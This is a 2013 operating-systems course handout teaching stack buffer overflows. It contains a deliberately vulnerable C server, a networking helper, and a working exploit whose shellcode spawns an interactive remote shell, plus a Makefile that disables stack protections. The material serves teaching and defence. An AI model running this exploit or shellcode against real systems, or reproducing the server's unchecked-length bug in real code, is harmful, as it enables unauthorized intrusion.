```
Handout for CS 439
Class 28
25 April 2013

1. Introduction to buffer overflow attacks

    There are many ways to attack computers. Today we study the
    "classic" method.

    This method has been adapted to many different types of attacks, but
    the concepts are similar.

    We study this attack not to teach you all to become hackers but
    rather to educate you about vulnerabilities: what they are, how they
    work, and how to defend against them. Please remember: _although the
    approaches used to break into computers are very interesting,
    breaking in to a computer that you do not own is, in most cases, a
    criminal act_.

2. Let's examine a vulnerable server, buggy−server.c

3. Now let's examine how an unscrupulous element (a hacker, a script
kiddie, a worm, etc.) might exploit the server.


Thanks to Russ Cox for the code
```



```
/*
 * Author: Russ Cox, rsc@swtch.com
 * Date: April 28, 2006
 *
 * (Comments by MW.)
 *
 * A very simple server that expects a message of the form:
 *     <length−of−msg><msg>
 *  and then prints to stdout (i.e., fd = 1) whatever 'msg' the client
 *  supplied.
 *
 * The server expects its input on stdin (fd = 0) and writes its
 * output to stdout (fd = 1). The intent is that these fds actually
 * correspond to a TCP connection, which intent is realized via the
 * program tcpserve.
 *
 * The server only allocates enough room for 100 bytes for 'msg'.
 * However, the server does not check that the length of 'msg' is
 * in fact less than 100 bytes, which is a (common) bug that an
 * attacker can exploit.
 *
 * Ridiculously, this server *tells* the client where in memory
 * the current stack is located.
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

void
serve(void)
{
        int n;
        char buf[100];
        char* ebp;

        memset(buf, 0, sizeof buf);

        /*
         * The server is obliging and actually tells the client where
         * in memory 'buf' is located.
         */
        fprintf(stdout, "the address of the buffer is %p\n", buf);

        /* This next line actually gets stdout to the client */
        fflush(stdout);

        /* Read in the length from the client; store the length in 'n' */
        fread(&n, 1, sizeof n, stdin);

        /*
         * The return address lives directly above where the frame
         * pointer, ebp, is pointing. This area of memory is 120 bytes
         * past the start of 'buf', as we learn by examining a
         * disassembly of buggy−server.  Below we illustrate that ebp+4
         * and buf+120 are holding the same data. To print out the
         * return address, we use buf[120].
         */

        asm volatile("movl %%ebp, %0" : "=r" (ebp));
        assert(*(int*)(ebp+4) == *(int*)(buf+120));

        fprintf(stdout, "My return address is: %x\n", *(int*)(buf+120));
        fflush(stdout);

        /* Now read in n bytes from the client. */
        fread(buf, 1, n, stdin);

        fprintf(stdout, "My return address is now: %x\n", *(int*)(buf+120));
        fflush(stdout);

        /*
```

```
74            * This server is very simple so just tells the client whatever
75            * the client gave the server. A real server would process buf
76            * somehow.
77            */
78           fprintf(stdout, "you gave me: %s\n", buf);
79           fflush(stdout);
80   }
81
82   int
83   main(void)
84   {
85           serve();
86           return 0;
87   }
```



```
1    #include <stdio.h>
2    #include <stdlib.h>
3    #include <unistd.h>
4    #include <errno.h>
5    #include <string.h>
6    #include <sys/types.h>
7    #include <sys/socket.h>
8    #include <netinet/in.h>
9    #include <netinet/tcp.h>
10   #include <arpa/inet.h>
11
12   int dial(uint32_t, uint16_t);
13
14   int
15   main(int argc, char** argv)
16   {
17           char buf[400];
18           int n, fd, addr;
19           uint32_t server_ip_addr; uint16_t server_port;
20           char* msg;
21
22           if (argc != 3) {
23                   fprintf(stderr, "usage: %s ip_addr port\n", argv[0]);
24                   exit(1);
25           }
26
27           server_ip_addr = inet_addr(argv[1]);
28           server_port    = htons(atoi(argv[2]));
29
30           if ((fd = dial(server_ip_addr, server_port)) < 0) {
31                   fprintf(stderr, "dial: %s\n", strerror(errno));
32                   exit(1);
33           }
34
35           if ( (n = read(fd, buf, sizeof buf−1)) < 0) {
36                   fprintf(stderr, "socket read: %s\n", strerror(errno));
37                   exit(1);
38           }
39           buf[n] = 0;
40           if(strncmp(buf, "the address of the buffer is ", 29) != 0){
41                   fprintf(stderr, "bad message: %s\n", buf);
42                   exit(1);
43           }
44           addr = strtoul(buf+29, 0, 0);
45           fprintf(stderr, "remote buffer is %x\n", addr);
46
47           msg = "hello, exploitable server.";
48           n = strlen(msg);
49           write(fd, &n, 4);
50           write(fd, msg, n);
51
52           while((n = read(fd, buf, sizeof buf)) > 0)
53               write(1, buf, n);
54
55           return 0;
56   }
57
58   int
59   dial(uint32_t dest_ip, uint16_t dest_port) {
60           int fd;
61           struct sockaddr_in sin;
62
63           if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return −1;
64
65           memset(&sin, 0, sizeof sin);
66           sin.sin_family      = AF_INET;
67           sin.sin_port        = dest_port;
68           sin.sin_addr.s_addr = dest_ip;
69
70           /* begin a TCP connection to the server */
71           if (connect(fd, (struct sockaddr*)&sin, sizeof sin) < 0) return −1;
72           return fd;
73   }
```

```c
/*
 * Author: Russ Cox, rsc@csail.mit.edu
 * Date: April 28, 2006
 *
 *  (Comments by MW.)
 *
 *  This program is a simplified 'inetd'. That is, this program takes some
 *  other program, 'prog', and runs prog "over the network", by:
 *
 *      --listening to a particular TCP port, p
 *      --creating a new TCP connection every time a client connects
 *        on p
 *      --running a new instance of prog, where the stdin and stdout for
 *        the new process are actually the new TCP connection
 *
 *   In this way, 'prog' can talk to a TCP client without ever "realizing"
 *   that it is talking over the network. This "replacement" of the usual
 *   values of stdin and stdout with a network connection is exactly what
 *   happens with shell pipes. With pipes, a process's stdin or stdout
 *   becomes the pipe, via the dup2() system call.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

char **execargs;

/*
 * This function contains boilerplate code for setting up a
 * TCP server. It's called "announce" because, if a network does not
 * filter ICMP messages, it is clear whether or
 * not some service is listening on the given port.
 */
int
announce(int port)
{
        int fd, n;
        struct sockaddr_in sin;

        memset(&sin, 0, sizeof sin);
        sin.sin_family = AF_INET;
        sin.sin_port = htons(port);
        sin.sin_addr.s_addr = htonl(INADDR_ANY);

        if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
                perror("socket");
                return -1;
        }

        n = 1;
        if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)&n, sizeof n) < 0){
                perror("reuseaddr");
                close(fd);
                return -1;
        }

        fcntl(fd, F_SETFD, 1);
        if(bind(fd, (struct sockaddr*)&sin, sizeof sin) < 0){
                perror("bind");
                close(fd);
                return -1;
        }
        if(listen(fd, 10) < 0){
                perror("listen");
```



```c
                close(fd);
                return -1;
        }
        return fd;
}

int
startprog(int fd)
{
        /*
         * Here is where the replacement of the usual stdin and stdout
         * happen. The next three lines say, "Ignore whatever value we used to
         * have for stdin, stdout, and stderr, and replace those three with
         * the network connection."
         */
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2);
        if(fd > 2)
                close(fd);

        /* Now run 'prog' */
        execvp(execargs[0], execargs);

        /*
         * If the exec was successful, tcpserve will not make it to this
         * line.
         */
        printf("exec %s: %s\n", execargs[0], strerror(errno));
        fflush(stdout);
        exit(0);
}

int
main(int argc, char **argv)
{
        int afd, fd, port;
        struct sockaddr_in sin;
        struct sigaction sa;
        socklen_t sn;

        if(argc < 3 || argv[1][0] == '-'){
        Usage:
                fprintf(stderr, "usage: tcpserve port prog [args...]\n");
                return 1;
        }

        port = atoi(argv[1]);
        if(port == 0)
                goto Usage;
        execargs = argv+2;

        sa.sa_handler = SIG_IGN;
        sa.sa_flags = SA_NOCLDSTOP|SA_NOCLDWAIT;
        sigaction(SIGCHLD, &sa, 0);

        if((afd = announce(port)) < 0)
                return 1;

        sn = sizeof sin;
        while((fd = accept(afd, (struct sockaddr*)&sin, &sn)) >= 0){

                /*
                 * At this point, 'fd' is the file descriptor that
                 * corresponds to the new TCP connection. The next
                 * line forks off a child process to handle this TCP
                 * connection. That child process will eventually become
                 * 'prog'.
                 */
                switch(fork()){
                case -1:
                        fprintf(stderr, "fork: %s\n", strerror(errno));
                        close(fd);
```

```
147                         continue;
148                 case 0:
149                         /* this case is executed by the child process */
150                         startprog(fd);
151                         _exit(1);
152                 }
153                 close(fd);
154         }
155         return 0;
156 }
```

```
/*
 * Author: Russ Cox, rsc@swtch.com
 * Date: April 28, 2006
 *
 * (Some very minor modifications by MW, as well as most comments; MW is
 * responsible for any errors.)
 *
 * This program exploits the server buggy-server.c. It works by taking
 * advantage of the facts that (1) the server has told the client (i.e., us)
 * the address of its stack and (2) the server is sloppy and does not check
 * the length of the message to see whether the message can fit in the buffer.
 *
 * The exploit sends enough data to overwrite the return address in the
 * server's current stack frame. That return address will be overwritten to
 * point to the very buffer we are supplying to the server, which very buffer
 * contains machine instructions!! The particular machine instructions
 * cause the server to exec a shell, which means that the server process
 * will be replaced by a shell, and the exploit will thus have "broken into"
 * the server.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

/*
 * This is a simple assembly program to exec a shell. The program
 * is incomplete, though. We cannot complete it until the server obliges
 * by telling us where its stack is located.
 */

char shellcode[] =
  "\xb8\x0b\x00\x00\x00" /* movl $11, %eax; load the code for 'exec' */
  "\xbb\x00\x00\x00\x00" /* movl $0, %ebx; INCOMPLETE */
  "\xb9\x00\x00\x00\x00" /* movl $0, %ecx; INCOMPLETE */
  "\xba\x00\x00\x00\x00" /* movl $0, %edx; INCOMPLETE */
  "\xcd\x80"             /* int $0x80; do whatever system call is given by %eax */
  "/bin/sh\0"            /* "/bin/sh\0"; the program we will exec */
  "-i\0"                 /* "-i\0"; the argument to the program */
  "\x00\x00\x00\x00"     /* 0; INCOMPLETE. will be address of string "/bin/sh" */
  "\x00\x00\x00\x00"     /* 0; INCOMPLETE. will be address of string "-i" */
  "\x00\x00\x00\x00"     /* 0 */
;

enum
{       /* offsets into assembly */
        MovEbx = 6,     /* constant moved into ebx */
        MovEcx = 11,    /* ... into ecx */
        MovEdx = 16,    /* ... into edx */
        Arg0 = 22,      /* string arg0 ("/bin/sh") */
        Arg1 = 30,      /* string arg1 ("-i") */
        Arg0Ptr = 33,   /* ptr to arg0 (==argv[0]) */
        Arg1Ptr = 37,   /* ptr to arg1 (==argv[1]) */
        Arg2Ptr = 41    /* zero (==arg[2]) */
};

enum
{
        REMOTE_BUF_LEN = 100,
        NCOPIES = 24
};

int dial(uint32_t, uint16_t);

int
main(int argc, char** argv)
{
```



```
        char helpfulinfo[100];
        char msg[REMOTE_BUF_LEN + NCOPIES*4];
        int i, n, fd, addr;
        uint32_t victim_ip_addr;
        uint16_t victim_port;

        if (argc != 3) {
                fprintf(stderr, "usage: exploit ip_addr port\n");
                exit(1);
        }

        victim_ip_addr = inet_addr(argv[1]);
        victim_port    = htons(atoi(argv[2]));

        fd = dial(victim_ip_addr, victim_port);
        if(fd < 0){
                fprintf(stderr, "dial: %s\n", strerror(errno));
                exit(1);
        }

        /*
         * this line reads the line from the server wherein the server
         * tells the client where its stack is located. (thank you,
         * server!)
         */
        n = read(fd, helpfulinfo, sizeof helpfulinfo-1);
        if(n < 0){
                fprintf(stderr, "socket read: %s\n", strerror(errno));
                exit(1);
        }
        /* null-terminate our copy of the helpful information */
        helpfulinfo[n] = 0;

        /*
         * check to make sure that the server gave us the helpful
         * information we were expecting.
         */
        if(strncmp(helpfulinfo, "the address of the buffer is ", 29) != 0){
                fprintf(stderr, "bad message: %s\n", helpfulinfo);
                exit(1);
        }

        /*
         * Pull out the actual address where the server's buf is stored.
         * we use this address below, as we construct our assembly code.
         */
        addr = strtoul(helpfulinfo+29, 0, 0);
        fprintf(stderr, "remote buffer is at address %x\n", addr);

        /*
         * Here, we construct the contents of msg. We'll copy the
         * shell code into msg and also "fill out" this little assembly
         * program with some needed constants.
         */
        memmove(msg, shellcode, sizeof shellcode);

        /*
         * fill in the arguments to exec. The first argument is a
         * pointer to the name of the program to execute, so we fill in
         * the address of the string, "/bin/sh".
         */
        *(int*)(msg+MovEbx) = addr+Arg0;

        /*
         * The second argument is a pointer to the argv array (which is
         * itself an array of pointers) that the shell will be passed.
         * This array is currently not filled in, but we can still put a
         * pointer to the array in the shellcode.
         */
        *(int*)(msg+MovEcx) = addr+Arg0Ptr;

        /* The third argument is the address of a location that holds 0 */
        *(int*)(msg+MovEdx) = addr+Arg2Ptr;
```

```
147
148         /*
149          * The array of addresses mentioned above are the arguments that
150          * /bin/sh should begin with. In our case, /bin/sh only begins
151          * with its own name and "-i", which means "interactive". These
152          * lines load the 'argv' array.
153          */
154         *(int*)(msg+Arg0Ptr) = addr+Arg0;
155         *(int*)(msg+Arg1Ptr) = addr+Arg1;
156
157         /*
158          * This line is one of the keys -- it places NCOPIES different copies
159          * of our desired return address, which is the start of the message
160          * in the server's address space. We use multiple copies in the hope
161          * that one of them overwrites the return address on the stack. We
162          * could have used more copies or fewer.
163          */
164         for(i=0; i<NCOPIES; i++)
165                 *(int*)(msg + REMOTE_BUF_LEN + i*4) = addr;
166
167         n = REMOTE_BUF_LEN + NCOPIES*4;
168         /* Tell the server how long our message is. */
169         write(fd, &n, 4);
170         /* And now send the message, thereby smashing the server's stack.*/
171         write(fd, msg, n);
172
173         /* These next lines:
174          *   (1) read from the client's stdin, and write to the network
175          *   connection (which should now have a shell on the other
176          *   end);
177          *   (2) read from the network connection, and write to the
178          *   client's stdout.
179          *
180          *   In other words, these lines take care of the I/O for the
181          *   shell that is running on the server. In this way, we on the
182          *   client can control the shell that is running on the server.
183          */
184         switch(fork()){
185         case 0:
186                 while((n = read(0, msg, sizeof msg)) > 0)
187                         write(fd, msg, n);
188                 fprintf(stderr, "eof from local\n");
189                 break;
190         default:
191                 while((n = read(fd, msg, sizeof msg)) > 0)
192                         write(1, msg, n);
193                 fprintf(stderr, "eof from remote\n");
194                 break;
195         }
196         return 0;
197 }
198
199 /* boilerplate networking code for initiating a TCP connection */
200 int
201 dial(uint32_t dest_ip, uint16_t dest_port)
202 {
203         int fd;
204         struct sockaddr_in sin;
205
206         if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
207                 return -1;
208
209         memset(&sin, 0, sizeof sin);
210         sin.sin_family      = AF_INET;
211         sin.sin_port        = dest_port;
212         sin.sin_addr.s_addr = dest_ip;
213
214
215         /* begin a TCP connection to the victim */
216         if (connect(fd, (struct sockaddr*)&sin, sizeof sin) < 0)
217                 return -1;
218         return fd;
219 }
```



```
1  all: honest-client exploit buggy-server tcpserve
2
3  # On Mac, the arguments below result in a failed compile.
4  # The 'execstack and 'no-stack-protector' are disabling two sets of
5  # protections that would otherwise impede the demo. 'execstack' ensures
6  # that the elf file that is produced specifies that the stack is
7  # executable. the no-stack-protector turns off the stack guarding (which
8  # uses poison values to detect stack smashing)
9
10 % : %.c
11         gcc -g -Wall -z execstack -fno-stack-protector -o $@ $<
12 #       gcc -g -Wall -o $@ $<
13
14 clean:
15         rm -f honest-client exploit buggy-server tcpserve
```